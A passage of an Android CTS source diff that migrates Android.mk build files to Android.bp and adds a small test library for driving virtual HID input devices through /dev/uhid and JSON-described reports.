--- a/hostsidetests/usb/SerialTestApp/Android.mk
+++ b/hostsidetests/usb/SerialTestApp/Android.mk
@@ -29,6 +29,7 @@
 LOCAL_PACKAGE_NAME := CtsUsbSerialTestApp
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 27
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
diff --git a/libs/Android.mk b/libs/Android.mk
deleted file mode 100644
index 4343259..0000000
--- a/libs/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-include $(call all-subdir-makefiles)
diff --git a/libs/deviceutillegacy/Android.bp b/libs/deviceutillegacy/Android.bp
new file mode 100644
index 0000000..5221c43
--- /dev/null
+++ b/libs/deviceutillegacy/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_static {
+    name: "ctsdeviceutillegacy",
+
+    static_libs: [
+        "compatibility-device-util",
+        "junit",
+    ],
+
+    libs: ["android.test.base.stubs"],
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "test_current",
+
+}
diff --git a/libs/deviceutillegacy/Android.mk b/libs/deviceutillegacy/Android.mk
deleted file mode 100644
index 8cfa6d1..0000000
--- a/libs/deviceutillegacy/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    junit
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src)
-
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := ctsdeviceutillegacy
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/libs/input/Android.bp b/libs/input/Android.bp
new file mode 100644
index 0000000..82044c5
--- /dev/null
+++ b/libs/input/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_static {
+    name: "cts-input-lib",
+    sdk_version: "test_current",
+    srcs: ["src/**/*.java"],
+}
\ No newline at end of file
diff --git a/libs/input/src/com/android/input/HidDevice.java b/libs/input/src/com/android/input/HidDevice.java
new file mode 100644
index 0000000..f28edb5
--- /dev/null
+++ b/libs/input/src/com/android/input/HidDevice.java
@@ -0,0 +1,178 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.hardware.input.InputManager;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Represents a virtual HID device registered through /dev/uhid.
+ */
+public final class HidDevice implements InputManager.InputDeviceListener {
+    private static final String TAG = "HidDevice";
+    // hid executable expects "-" argument to read from stdin instead of a file
+    private static final String HID_COMMAND = "hid -";
+
+    private final int mId; // // initialized from the json file
+
+    private OutputStream mOutputStream;
+    private Instrumentation mInstrumentation;
+
+    private volatile CountDownLatch mDeviceAddedSignal; // to wait for onInputDeviceAdded signal
+
+    public HidDevice(Instrumentation instrumentation, int deviceId, String registerCommand) {
+        mInstrumentation = instrumentation;
+        setupPipes();
+
+        mInstrumentation.runOnMainSync(new Runnable(){
+            @Override
+            public void run() {
+                InputManager inputManager =
+                        mInstrumentation.getContext().getSystemService(InputManager.class);
+                inputManager.registerInputDeviceListener(HidDevice.this, null);
+            }
+        });
+
+        mId = deviceId;
+        registerInputDevice(registerCommand);
+    }
+
+    /**
+     * Register an input device. May cause a failure if the device added notification
+     * is not received within the timeout period
+     *
+     * @param registerCommand The full json command that specifies how to register this device
+     */
+    private void registerInputDevice(String registerCommand) {
+        mDeviceAddedSignal = new CountDownLatch(1);
+        writeHidCommands(registerCommand.getBytes());
+        try {
+            // Found that in kernel 3.10, the device registration takes a very long time
+            // The wait can be decreased to 2 seconds after kernel 3.10 is no longer supported
+            mDeviceAddedSignal.await(20L, TimeUnit.SECONDS);
+            if (mDeviceAddedSignal.getCount() != 0) {
+                throw new RuntimeException("Did not receive device added notification in time");
+            }
+        } catch (InterruptedException ex) {
+            throw new RuntimeException(
+                    "Unexpectedly interrupted while waiting for device added notification.");
+        }
+        // Even though the device has been added, it still may not be ready to process the events
+        // right away. This seems to be a kernel bug.
+        // Add a small delay here to ensure device is "ready".
+        SystemClock.sleep(500);
+    }
+
+    /**
+     * Add a delay between processing events.
+     *
+     * @param milliSeconds The delay in milliseconds.
+     */
+    public void delay(int milliSeconds) {
+        JSONObject json = new JSONObject();
+        try {
+            json.put("command", "delay");
+            json.put("id", mId);
+            json.put("duration", milliSeconds);
+        } catch (JSONException e) {
+            throw new RuntimeException(
+                    "Could not create JSON object to delay " + milliSeconds + " milliseconds");
+        }
+        writeHidCommands(json.toString().getBytes());
+    }
+
+    /**
+     * Send a HID report to the device. The report should follow the report descriptor
+     * that was specified during device registration.
+     * An example report:
+     * String report = "[0x01, 0x00, 0x00, 0x02]";
+     *
+     * @param report The report to send (a JSON-formatted array of hex)
+     */
+    public void sendHidReport(String report) {
+        JSONObject json = new JSONObject();
+        try {
+            json.put("command", "report");
+            json.put("id", mId);
+            json.put("report", new JSONArray(report));
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not process HID report: " + report);
+        }
+        writeHidCommands(json.toString().getBytes());
+    }
+
+    private static void closeQuietly(AutoCloseable closeable) {
+        if (closeable != null) {
+            try {
+                closeable.close();
+            } catch (RuntimeException rethrown) {
+                throw rethrown;
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    /**
+     * Close the device, which would cause the associated input device to unregister.
+     */
+    public void close() {
+        closeQuietly(mOutputStream);
+    }
+
+    private void setupPipes() {
+        UiAutomation ui = mInstrumentation.getUiAutomation();
+        ParcelFileDescriptor[] pipes = ui.executeShellCommandRw(HID_COMMAND);
+
+        mOutputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipes[1]);
+        closeQuietly(pipes[0]); // hid command is write-only
+    }
+
+    private void writeHidCommands(byte[] bytes) {
+        try {
+            mOutputStream.write(bytes);
+            mOutputStream.flush();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    // InputManager.InputDeviceListener functions
+    @Override
+    public void onInputDeviceAdded(int deviceId) {
+        mDeviceAddedSignal.countDown();
+    }
+
+    @Override
+    public void onInputDeviceChanged(int deviceId) {
+    }
+
+    @Override
+    public void onInputDeviceRemoved(int deviceId) {
+    }
+}
diff --git a/libs/input/src/com/android/input/HidJsonParser.java b/libs/input/src/com/android/input/HidJsonParser.java
new file mode 100644
index 0000000..6cd0528
--- /dev/null
+++ b/libs/input/src/com/android/input/HidJsonParser.java
@@ -0,0 +1,255 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.content.Context;
+import android.view.InputDevice;
+import android.view.InputEvent;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+
+
+/**
+ * Parse json resource file that contains the test commands for HidDevice
+ *
+ * For files containing reports and input events, each entry should be in the following format:
+ * <code>
+ * {"name": "test case name",
+ *  "reports": reports,
+ *  "events": input_events
+ * }
+ * </code>
+ *
+ * {@code reports} - an array of strings that contain hex arrays.
+ * {@code input_events} - an array of dicts in the following format:
+ * <code>
+ * {"action": "down|move|up", "axes": {"axis_x": x, "axis_y": y}, "keycode": "button_a"}
+ * </code>
+ * {@code "axes"} should only be defined for motion events, and {@code "keycode"} for key events.
+ * Timestamps will not be checked.
+
+ * Example:
+ * <code>
+ * [{ "name": "press button A",
+ *    "reports": ["report1",
+ *                "report2",
+ *                "report3"
+ *               ],
+ *    "events": [{"action": "down", "axes": {"axis_y": 0.5, "axis_x": 0.1}},
+ *               {"action": "move", "axes": {"axis_y": 0.0, "axis_x": 0.0}}
+ *              ]
+ *  },
+ *  ... more tests like that
+ * ]
+ * </code>
+ */
+public class HidJsonParser {
+    private static final String TAG = "JsonParser";
+
+    private Context mContext;
+
+    public HidJsonParser(Context context) {
+        mContext = context;
+    }
+
+    /**
+     * Convenience function to create JSONArray from resource.
+     * The resource specified should contain JSON array as the top-level structure.
+     *
+     * @param resourceId The resourceId that contains the json data (typically inside R.raw)
+     */
+    private JSONArray getJsonArrayFromResource(int resourceId) {
+        String data = readRawResource(resourceId);
+        try {
+            return new JSONArray(data);
+        } catch (JSONException e) {
+            throw new RuntimeException(
+                    "Could not parse resource " + resourceId + ", received: " + data);
+        }
+    }
+
+    /**
+     * Convenience function to read in an entire file as a String.
+     *
+     * @param id resourceId of the file
+     * @return contents of the raw resource file as a String
+     */
+    private String readRawResource(int id) {
+        InputStream inputStream = mContext.getResources().openRawResource(id);
+        try {
+            return readFully(inputStream);
+        } catch (IOException e) {
+            throw new RuntimeException("Could not read resource id " + id);
+        }
+    }
+
+    /**
+     * Read register command from raw resource.
+     *
+     * @param resourceId the raw resource id that contains the command
+     * @return the command to register device that can be passed to HidDevice constructor
+     */
+    public String readRegisterCommand(int resourceId) {
+        return readRawResource(resourceId);
+    }
+
+    /**
+     * Read entire input stream until no data remains.
+     *
+     * @param inputStream
+     * @return content of the input stream
+     * @throws IOException
+     */
+    private String readFully(InputStream inputStream) throws IOException {
+        OutputStream baos = new ByteArrayOutputStream();
+        byte[] buffer = new byte[1024];
+        int read = inputStream.read(buffer);
+        while (read >= 0) {
+            baos.write(buffer, 0, read);
+            read = inputStream.read(buffer);
+        }
+        return baos.toString();
+    }
+
+    /**
+     * Extract the device id from the raw resource file. This is needed in order to register
+     * a HidDevice.
+     *
+     * @param resourceId resorce file that contains the register command.
+     * @return hid device id
+     */
+    public int readDeviceId(int resourceId) {
+        try {
+            JSONObject json = new JSONObject(readRawResource(resourceId));
+            return json.getInt("id");
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not read device id from resource " + resourceId);
+        }
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of HidTestData, which contains
+     * the name of each test, along with the HID reports and the expected input events.
+     */
+    public List<HidTestData> getTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<HidTestData> tests = new ArrayList<HidTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            HidTestData testData = new HidTestData();
+
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                testData.name = testcaseEntry.getString("name");
+                JSONArray reports = testcaseEntry.getJSONArray("reports");
+
+                for (int i = 0; i < reports.length(); i++) {
+                    String report = reports.getString(i);
+                    testData.reports.add(report);
+                }
+
+                JSONArray events = testcaseEntry.getJSONArray("events");
+                for (int i = 0; i < events.length(); i++) {
+                    JSONObject entry = events.getJSONObject(i);
+
+                    InputEvent event = null;
+                    if (entry.has("keycode")) {
+                        event = parseKeyEvent(entry);
+                    } else if (entry.has("axes")) {
+                        event = parseMotionEvent(entry);
+                    } else {
+                        throw new RuntimeException(
+                                "Input event is not specified correctly. Received: " + entry);
+                    }
+                    testData.events.add(event);
+                }
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber);
+            }
+        }
+        return tests;
+    }
+
+    private KeyEvent parseKeyEvent(JSONObject entry) throws JSONException {
+        int action = keyActionFromString(entry.getString("action"));
+        String keyCodeStr = entry.getString("keycode");
+        if (!keyCodeStr.startsWith("KEYCODE_")) {
+            keyCodeStr = "KEYCODE_" + keyCodeStr;
+        }
+        int keyCode = KeyEvent.keyCodeFromString(keyCodeStr);
+        return new KeyEvent(action, keyCode);
+    }
+
+    private MotionEvent parseMotionEvent(JSONObject entry) throws JSONException {
+        MotionEvent.PointerProperties[] properties = new MotionEvent.PointerProperties[1];
+        properties[0] = new MotionEvent.PointerProperties();
+        properties[0].id = 0;
+        properties[0].toolType = MotionEvent.TOOL_TYPE_UNKNOWN;
+
+        MotionEvent.PointerCoords[] coords = new MotionEvent.PointerCoords[1];
+        coords[0] = new MotionEvent.PointerCoords();
+
+        JSONObject axes = entry.getJSONObject("axes");
+        Iterator<String> keys = axes.keys();
+        while (keys.hasNext()) {
+            String axis = keys.next();
+            float value = (float) axes.getDouble(axis);
+            coords[0].setAxisValue(MotionEvent.axisFromString(axis), value);
+        }
+
+        int action = motionActionFromString(entry.getString("action"));
+        // Only care about axes and action here. Times are not checked
+        MotionEvent event = MotionEvent.obtain(/* downTime */ 0, /* eventTime */ 0, action,
+                /* pointercount */ 1, properties, coords, 0, 0, 0f, 0f,
+                0, 0, InputDevice.SOURCE_JOYSTICK, 0);
+        return event;
+    }
+
+    private int keyActionFromString(String action) {
+        switch (action.toUpperCase()) {
+            case "DOWN":
+                return KeyEvent.ACTION_DOWN;
+            case "UP":
+                return KeyEvent.ACTION_UP;
+        }
+        throw new RuntimeException("Unknown action specified: " + action);
+    }
+
+    private int motionActionFromString(String action) {
+        switch (action.toUpperCase()) {
+            case "DOWN":
+                return MotionEvent.ACTION_DOWN;
+            case "MOVE":
+                return MotionEvent.ACTION_MOVE;
+            case "UP":
+                return MotionEvent.ACTION_UP;
+        }
+        throw new RuntimeException("Unknown action specified: " + action);
+    }
+}
diff --git a/libs/input/src/com/android/input/HidTestData.java b/libs/input/src/com/android/input/HidTestData.java
new file mode 100644
index 0000000..e980dc4
--- /dev/null
+++ b/libs/input/src/com/android/input/HidTestData.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.view.InputEvent;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Data class that stores HID test data.
+ *
+ * There need not be a 1:1 mapping from reports to events. It is possible that some reports may
+ * generate more than 1 event (maybe 2 buttons were pressed simultaneously, for example).
+ */
+public class HidTestData {
+    // Name of the test
+    public String name;
+
+    // HID reports that are used as input to /dev/uhid
+    public List<String> reports = new ArrayList<String>();
+
+    // InputEvent's that are expected to be produced after sending out the reports.
+    public List<InputEvent> events = new ArrayList<InputEvent>();
+}
diff --git a/libs/json/Android.bp b/libs/json/Android.bp
new file mode 100644
index 0000000..59a9f3a
--- /dev/null
+++ b/libs/json/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2010 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_library {
+    name: "json",
+    host_supported: true,
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
+
+// Compatibility version of host library
+java_library_host {
+    name: "jsonlib",
+    static_libs: ["json"],
+}
diff --git a/libs/json/Android.mk b/libs/json/Android.mk
deleted file mode 100644
index d1b2051..0000000
--- a/libs/json/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-# Build the host library
-# ======================
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := jsonlib
-LOCAL_MODULE_TAGS := optional
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-# Build the target library
-# =======================
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := json
-LOCAL_MODULE_TAGS := optional
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
diff --git a/libs/runner/Android.bp b/libs/runner/Android.bp
new file mode 100644
index 0000000..5ec51ef
--- /dev/null
+++ b/libs/runner/Android.bp
@@ -0,0 +1,22 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "ctstestrunner",
+
+    static_libs: ["cts-test-runner"],
+
+    sdk_version: "current",
+
+}
diff --git a/libs/runner/Android.mk b/libs/runner/Android.mk
deleted file mode 100644
index 15f64a3..0000000
--- a/libs/runner/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-test-runner
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := ctstestrunner
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/libs/testserver/Android.bp b/libs/testserver/Android.bp
new file mode 100644
index 0000000..14b9ed4
--- /dev/null
+++ b/libs/testserver/Android.bp
@@ -0,0 +1,22 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "ctstestserver",
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "16",
+
+}
diff --git a/libs/testserver/Android.mk b/libs/testserver/Android.mk
deleted file mode 100644
index 488af53..0000000
--- a/libs/testserver/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := ctstestserver
-
-LOCAL_SDK_VERSION := 16
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/libs/view/Android.bp b/libs/view/Android.bp
new file mode 100644
index 0000000..c58c3ca
--- /dev/null
+++ b/libs/view/Android.bp
@@ -0,0 +1,24 @@
+//
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_library {
+    name: "cts-view-lib",
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "current",
+
+}
diff --git a/libs/view/Android.mk b/libs/view/Android.mk
deleted file mode 100644
index 0b121da..0000000
--- a/libs/view/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-#
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MODULE := cts-view-lib
-LOCAL_MODULE_TAGS := optional
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/libs/vogar-expect/Android.bp b/libs/vogar-expect/Android.bp
new file mode 100644
index 0000000..536a33e
--- /dev/null
+++ b/libs/vogar-expect/Android.bp
@@ -0,0 +1,44 @@
+//
+// Copyright (C) 2010 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_library {
+    name: "vogarexpect",
+    host_supported: true,
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "current",
+
+    static_libs: [
+        "guava",
+        "json",
+    ],
+}
+
+java_library_host {
+    name: "vogarexpectlib",
+    static_libs: ["vogarexpect"],
+}
+
+// Version of the lib without dependencies statically linked
+java_library_host {
+    name: "vogarexpect-no-deps",
+    srcs: ["src/**/*.java"],
+
+    libs: [
+        "guava",
+	"json",
+    ],
+}
diff --git a/libs/vogar-expect/Android.mk b/libs/vogar-expect/Android.mk
deleted file mode 100644
index f888d26..0000000
--- a/libs/vogar-expect/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-# Build the host library
-# ======================
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MODULE := vogarexpectlib
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_STATIC_JAVA_LIBRARIES := guavalib jsonlib
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-# Build the target library
-# =======================
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MODULE := vogarexpect
-LOCAL_MODULE_TAGS := optional
-LOCAL_SDK_VERSION := current
-
-LOCAL_STATIC_JAVA_LIBRARIES := guava json
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
diff --git a/suite/audio_quality/executable/Android.bp b/suite/audio_quality/executable/Android.bp
index 78ecd00..c6bf63d 100644
--- a/suite/audio_quality/executable/Android.bp
+++ b/suite/audio_quality/executable/Android.bp
@@ -18,6 +18,7 @@
     name: "cts_audio_quality",
     srcs: ["src/main.cpp"],
     static_libs: [
+        "libbase",
         "libutils",
         "liblog",
         "libcutils",
diff --git a/suite/audio_quality/lib/Android.bp b/suite/audio_quality/lib/Android.bp
index 4900227..d1f4ec8 100644
--- a/suite/audio_quality/lib/Android.bp
+++ b/suite/audio_quality/lib/Android.bp
@@ -22,6 +22,7 @@
         "src",
     ],
     static_libs: [
+        "libbase",
         "libutils",
         "liblog",
         "libtinyalsa",
diff --git a/suite/audio_quality/test/Android.bp b/suite/audio_quality/test/Android.bp
index 79e6ead..d43b0aa 100644
--- a/suite/audio_quality/test/Android.bp
+++ b/suite/audio_quality/test/Android.bp
@@ -19,6 +19,7 @@
     srcs: ["*.cpp"],
 
     static_libs: [
+        "libbase",
         "libutils",
         "liblog",
         "libcutils",
diff --git a/suite/cts/Android.mk b/suite/cts/Android.mk
deleted file mode 100644
index c141484..0000000
--- a/suite/cts/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-include $(call all-subdir-makefiles)
diff --git a/suite/cts/deviceTests/Android.mk b/suite/cts/deviceTests/Android.mk
deleted file mode 100644
index c141484..0000000
--- a/suite/cts/deviceTests/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
